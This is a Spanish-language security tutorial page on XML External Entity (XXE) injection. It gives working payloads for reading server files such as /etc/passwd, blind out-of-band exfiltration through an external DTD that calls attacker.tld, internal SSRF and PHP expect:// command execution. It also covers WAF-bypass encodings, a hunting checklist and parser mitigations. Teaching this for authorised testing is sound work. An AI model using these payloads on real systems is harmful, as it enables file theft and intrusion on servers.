← Volver al buscador
Seguridad web Intermedio

XXE — XML External Entity injection y exfiltración OOB

Cómo abusar parsers XML mal configurados: leer archivos del servidor, SSRF interna, blind XXE via DTD external. Endpoints típicos: SAML, SOAP, parser de configuración.

Respuesta rápida

XXE (XML External Entity) ocurre cuando un parser XML procesa entidades externas declaradas por el atacante. Permite leer archivos arbitrarios del servidor, SSRF a la red interna, y a veces RCE (PHP expect://). Endpoints típicos: SOAP APIs, SAML callbacks, importadores de configuración (XML/Office docs), conversores. Aunque XML está en declive, sigue presente en sistemas legacy y en SAML.


Cómo funciona

XML soporta declarar entidades externas que el parser resuelve cargando recursos. Si el parser está mal configurado:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

El parser resuelve &xxe; cargando el contenido de /etc/passwd y lo devuelve en el response — si el response refleja el campo <data>, lees el archivo.


Variantes

1. XXE clásica con file read

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<request><user>&xxe;</user></request>

Funciona si el response devuelve el valor del campo donde se inyecta la entidad.

2. XXE blind via DTD externa (OOB)

Cuando el response no refleja el contenido pero el parser puede hacer requests:

<!DOCTYPE foo [
  <!ENTITY % ext SYSTEM "https://attacker.tld/evil.dtd">
  %ext;
]>
<root></root>

evil.dtd en el servidor del atacante:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://attacker.tld/?leak=%file;'>">
%eval;
%exfil;

El parser:

  1. Carga la DTD externa.
  2. Lee /etc/passwd en %file.
  3. Define %exfil con un GET a attacker.tld con el contenido como query param.
  4. Resuelve %exfil → request HTTP llega a attacker con el contenido.

Burp Collaborator es perfecto para hostear DTDs maliciosas y ver los hits.

3. SSRF via XXE

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-service:8080/admin">]>
<root>&xxe;</root>

El parser hace HTTP request al endpoint interno desde el server. El response (o parte) puede acabar reflejado.

4. RCE en PHP (legacy)

PHP con expect wrapper habilitado:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>

Ejecuta id en el shell. Requiere extension expect cargada (raro, pero existe en setups legacy).


Endpoints donde buscar

SAML

SAML es XML por diseño. Cualquier endpoint /saml/login, /saml/callback, /auth/sso que procese assertions XML enviadas por el cliente es candidato. La SAML response es enviada por el browser tras el IdP — si el SP la procesa con un parser inseguro, XXE.

SOAP APIs

Webservices SOAP procesan XML. Endpoints *.asmx, *.svc, *.wsdl, paths con /soap, /services, /api/v1/soap.

Importadores de configuración

  • Importar .docx, .xlsx, .pptx (todos contienen XML internamente).
  • Importar SVG (XML-based).
  • Importar OPML, RSS, GPX.
  • Importar configuraciones (.config, .xml).

Office documents (DOCX/XLSX/PPTX)

Estos formatos son ZIP de XMLs. Subir un docx con [Content_Types].xml modificado para incluir DTD externa puede triggear XXE en el converter del backend.

docx_zip/
├── [Content_Types].xml   ← modificar aquí
├── word/
│   └── document.xml
└── _rels/

SVG uploads

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

Si la app convierte SVG → PNG con ImageMagick u otro parser que respeta entidades externas, lee el archivo.


Bypasses de WAFs

Encoding alternativo

<?xml version="1.0" encoding="UTF-16"?>

Si el WAF solo escanea UTF-8, UTF-16 (con BOM) puede bypasarlo.

Parameter entities

<!ENTITY % start "<!ENTITY xxe">
<!ENTITY % end " SYSTEM 'file:///etc/passwd'>">
%start;%end;

Construir la entity dinámicamente para evadir detección de string.

CDATA + entity

<![CDATA[<!ENTITY xxe SYSTEM "file:///etc/passwd">]]>

A veces parseado por el motor pero filtrado por el WAF.


Detección rápida

Test mínimo: enviar XML con DTD que apunte a Collaborator:

<!DOCTYPE foo [<!ENTITY % ext SYSTEM "https://yourcollab.collab.tld/test"> %ext;]>
<root></root>

Si llega un hit a Collaborator → el parser resuelve external entities → posible XXE explotable.


Mitigación correcta

  1. Deshabilitar resolución de entidades externas en cada parser:
    • Java: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true).
    • Python lxml: parser = etree.XMLParser(resolve_entities=False).
    • PHP: libxml_disable_entity_loader(true) (deprecated en PHP 8 — ya es default).
    • .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit.
  2. Whitelist de tipos aceptados (no aceptar XML si no se necesita).
  3. WAF como segunda línea, nunca primera.

Hunting checklist

  • ¿El endpoint acepta Content-Type: application/xml o text/xml?
  • ¿Hay imports de docx/xlsx/pptx/svg/opml/gpx?
  • ¿Hay /saml/, /soap/, endpoints SOAP-style?
  • ¿Probar Collaborator-based detection con DTD externa?
  • ¿Hay errores XML verbose si mando malformado?
  • ¿<!DOCTYPE> se permite en el body?
  • ¿Office docs procesados server-side (preview, conversion, OCR)?

Labs relacionados

Practica XXE clásica, blind via DTD externa y SSRF interna a través de XML: labs de XXE.

Practica esto en un lab

Xxe

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

Premium

Headless browsers — SSRF y RCE en endpoints que renderizan URLs

Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.

14 minheadless-browserssrfpuppeteer
Leer artículo
Premium

Next.js attack surface 2026 — middleware bypass, SSRF interno, RSC abuse

Vulnerabilidades específicas de Next.js 13-16: middleware bypass con headers manipulados, SSRF en API routes, RSC (React Server Components) data leak, image optimization SSRF.

15 minnextjsssrfmiddleware-bypass
Leer artículo
Gratis

SSRF — bypasses completos: localhost, IPv6, decimal, DNS y cloud metadata

11 técnicas para bypassear validación SSRF: enclosed alphanumeric, decimal IP, dot bypass, DNS rebinding, parameter pollution. Cloud metadata AWS/GCP/Azure.

14 minssrfbypasscloud-metadata
Leer artículo
Nivel intermedioToda la Academy

Contenido educativo de Kerb3r0ps. Úsalo solo sobre sistemas para los que tengas permiso. Volver al buscador.